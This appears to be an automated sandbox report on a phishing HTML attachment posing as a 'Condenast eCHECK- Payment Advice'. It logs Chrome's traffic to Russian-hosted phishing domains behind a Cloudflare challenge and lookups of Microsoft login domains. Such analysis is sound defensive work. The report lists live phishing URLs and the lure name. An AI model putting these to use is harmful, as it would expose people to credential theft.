Source: global traffic	HTTP traffic detected: GET /ajax/libs/crypto-js/4.0.0/crypto-js.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /o5b8DXA/ HTTP/1.1Host: cciq.absousium.ruConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.6.0.min.js HTTP/1.1Host: code.jquery.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://cciq.absousium.ru/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/api.js?render=explicit HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://cciq.absousium.ru/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/crypto-js/4.1.1/crypto-js.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://cciq.absousium.ru/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/g/849bfe45bf45/api.js HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://cciq.absousium.ru/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/crypto-js/4.1.1/crypto-js.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.6.0.min.js HTTP/1.1Host: code.jquery.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/gwrm9/0x4AAAAAAA3Q2biiOsc--vat/auto/fbE/normal/auto/ HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://cciq.absousium.ru/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/g/849bfe45bf45/api.js HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/orchestrate/chl_api/v1?ray=8ff1568eaca342db&lang=auto HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/gwrm9/0x4AAAAAAA3Q2biiOsc--vat/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/cmg/1 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/gwrm9/0x4AAAAAAA3Q2biiOsc--vat/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: cciq.absousium.ruConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cciq.absousium.ru/o5b8DXA/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Im9qY2pDSjkzTjBkQ0Z5Qi9CaXkvS0E9PSIsInZhbHVlIjoiVjdDdEd6NVNlQS9zRXMvMFZKWkp1QzEwb2dvOFpqTGNreGg1SnhrTExQa1NQaXN3UU1IcDJ5L0hlRkcvNkVnZGhEYmNNZi9pYUJab0R2bHhIcy9kMEhZWXVlWFVWQWRaVXpCN1QzWldZVjIvM2RWay9veUIwMlZ3c0J0RnlURmUiLCJtYWMiOiIwNTg5ZDgwMWJmOGY2ZWRlNzg3YjEyZDYwMGRmMTZmZjNhNmNhYWU5MTAyZGVlZWQwMTZkYzE0MDlhNDA5OGNmIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImNMY28xYk5vSlNSSmQvaHNyNG0yZlE9PSIsInZhbHVlIjoiWEFOVXFiV2VMY1QyR0FCblNCTHYyOHpVM05PSHJLOGVhQUM2b2hwN0tSMm5wM1lHN3FtclNISjhFS2dxVmpsKzk1YkhEMVh5V0JUMFFpTjh2VTVoTm1lb29teDhOOWRHQWRZOGVhZGNUY0d5ekQ5UjZmTXdJRWN6Si8rSC8xbkkiLCJtYWMiOiIyMTYxZDM0ZWE4ZDI2MDQ4MDk0Y2ZkMmU0OTU0NzdiMzhkYTAxMTVlOTM1ZWFkZmZhNDEwZWM5ZWJhODQ1NWQzIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/cmg/1 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/orchestrate/chl_api/v1?ray=8ff1568eaca342db&lang=auto HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/flow/ov1/1841493557:1736389842:pB4s7u0wqpZFW7tcd-C2AhvV7grUnI6cdD9HQVBEQaU/8ff1568eaca342db/bAYp9OaNGE9eFw.LBpuj4fjwBScjjr1R6Wa2KLEL1ac-1736393315-1.1.1.1-4PtztNUheHgsBzttiRAftBKAqFOrB0gowvOiT54mWcrdNUOtC7qigNJEGLColiBD HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/pat/8ff1568eaca342db/1736393317396/fb443b32309dcb3307d1d0ef1805c65e6c0628957a81749f2154f5b42a23a3df/9GJE3-f8vZDVkzl HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveCache-Control: max-age=0sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/gwrm9/0x4AAAAAAA3Q2biiOsc--vat/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/i/8ff1568eaca342db/1736393317397/H_MHCiTlQOd4REn HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/gwrm9/0x4AAAAAAA3Q2biiOsc--vat/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/i/8ff1568eaca342db/1736393317397/H_MHCiTlQOd4REn HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/flow/ov1/1841493557:1736389842:pB4s7u0wqpZFW7tcd-C2AhvV7grUnI6cdD9HQVBEQaU/8ff1568eaca342db/bAYp9OaNGE9eFw.LBpuj4fjwBScjjr1R6Wa2KLEL1ac-1736393315-1.1.1.1-4PtztNUheHgsBzttiRAftBKAqFOrB0gowvOiT54mWcrdNUOtC7qigNJEGLColiBD HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/flow/ov1/1841493557:1736389842:pB4s7u0wqpZFW7tcd-C2AhvV7grUnI6cdD9HQVBEQaU/8ff1568eaca342db/bAYp9OaNGE9eFw.LBpuj4fjwBScjjr1R6Wa2KLEL1ac-1736393315-1.1.1.1-4PtztNUheHgsBzttiRAftBKAqFOrB0gowvOiT54mWcrdNUOtC7qigNJEGLColiBD HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /2537246819628557574OlqyeVTOPFSYTEZKKDXQDVHNSHXAHYFF HTTP/1.1Host: ckfucbnuq45xxm9wui64hmdaejy0efptehhe0wi6bqhtcqedccnms0dm.ivertoneym.ruConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://cciq.absousium.ruSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://cciq.absousium.ru/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /2537246819628557574OlqyeVTOPFSYTEZKKDXQDVHNSHXAHYFF HTTP/1.1Host: ckfucbnuq45xxm9wui64hmdaejy0efptehhe0wi6bqhtcqedccnms0dm.ivertoneym.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: global traffic	DNS traffic detected: DNS query: ecohomethings.net
Source: global traffic	DNS traffic detected: DNS query: cdnjs.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: cciq.absousium.ru
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: code.jquery.com
Source: global traffic	DNS traffic detected: DNS query: challenges.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: a.nel.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: ckfucbnuq45xxm9wui64hmdaejy0efptehhe0wi6bqhtcqedccnms0dm.ivertoneym.ru
Source: global traffic	DNS traffic detected: DNS query: login.microsoftonline.com
Source: global traffic	DNS traffic detected: DNS query: www.office.com
Source: global traffic	DNS traffic detected: DNS query: aadcdn.msftauth.net
Source: global traffic	DNS traffic detected: DNS query: identity.nel.measure.office.net

Source: unknown

HTTP traffic detected: POST /cdn-cgi/challenge-platform/h/g/flow/ov1/1841493557:1736389842:pB4s7u0wqpZFW7tcd-C2AhvV7grUnI6cdD9HQVBEQaU/8ff1568eaca342db/bAYp9OaNGE9eFw.LBpuj4fjwBScjjr1R6Wa2KLEL1ac-1736393315-1.1.1.1-4PtztNUheHgsBzttiRAftBKAqFOrB0gowvOiT54mWcrdNUOtC7qigNJEGLColiBD HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveContent-Length: 3158sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Content-type: application/x-www-form-urlencodedCF-Chl-RetryAttempt: 0sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36CF-Challenge: bAYp9OaNGE9eFw.LBpuj4fjwBScjjr1R6Wa2KLEL1ac-1736393315-1.1.1.1-4PtztNUheHgsBzttiRAftBKAqFOrB0gowvOiT54mWcrdNUOtC7qigNJEGLColiBDsec-ch-ua-platform: "Windows"Accept: */*Origin: https://challenges.cloudflare.comSec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/gwrm9/0x4AAAAAAA3Q2biiOsc--vat/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 09 Jan 2025 03:28:37 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=14400Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=VUSl67gPE6Oc9N9HEgIsdhZ09UQIgz9D1a8PyNLUD6IF%2F3%2BsryllKu%2F0wi48%2Ftfg4dqeRkv%2FPwkH7Jts%2Fmaxw37N9KCyDtgeN1%2F24bZ97%2FVIGzs4p4eavsp%2FTJlCZA%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Vary: Accept-Encodingalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=4930&min_rtt=4889&rtt_var=1450&sent=4&recv=8&lost=0&retrans=0&sent_bytes=2825&recv_bytes=2234&delivery_rate=557447&cwnd=251&unsent_bytes=0&cid=8e8307f21f99de0d&ts=22&x=0"CF-Cache-Status: EXPIREDServer: cloudflareCF-RAY: 8ff15696286b8ce0-EWRserver-timing: cfL4;desc="?proto=TCP&rtt=1822&min_rtt=1821&rtt_var=686&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2828&recv_bytes=1899&delivery_rate=1592148&cwnd=211&unsent_bytes=0&cid=6e1743fc465f2949&ts=4023&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 09 Jan 2025 03:28:38 GMTContent-Type: application/jsonContent-Length: 7Connection: closecf-chl-out: U2Phspspwkag2P0DhwGwkWwaRIwMbpGVxBo=$RWXKL3OPJgj7ZJVJcache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0Server: cloudflareCF-RAY: 8ff156a2acaa0fa9-EWRalt-svc: h3=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 09 Jan 2025 03:28:41 GMTContent-Type: application/jsonContent-Length: 7Connection: closecache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0cf-chl-out: 6cocBRO6ZaG6ySWRVeps1lAARUJTHr881gc=$hOiEkHmDBumPrjU5Server: cloudflareCF-RAY: 8ff156b5d9e30f6f-EWRalt-svc: h3=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 09 Jan 2025 03:28:51 GMTContent-Type: application/jsonContent-Length: 7Connection: closecf-chl-out: +ZajmZKyvfpBKd5VHvlikJ3tUfDSj8GfhcI=$U8Ij02Gl/tm8svQ+cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0Server: cloudflareCF-RAY: 8ff156ef6ed75e66-EWRalt-svc: h3=":443"; ma=86400

Source: chromecache_148.2.dr, chromecache_120.2.dr	String found in binary or memory: https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.0.0/crypto-js.min.js
Source: chromecache_126.2.dr, chromecache_117.2.dr	String found in binary or memory: https://login.microsoftonline.com
Source: chromecache_126.2.dr, chromecache_117.2.dr	String found in binary or memory: https://login.windows-ppe.net

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50074 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49855 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50074
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49854 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50082
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50082 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745

System Summary

HTML document with suspicious name

Source: Name includes: Condenast eCHECK- Payment Advice.html

Initial sample: payment

Source: classification engine

Classification label: mal64.phis.evad.winHTML@29/81@44/13

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps

Jump to behavior

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "C:\Users\user\Desktop\Condenast eCHECK- Payment Advice.html"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2152 --field-trial-handle=1948,i,17218853345926001592,13168728609757809945,262144 /prefetch:8
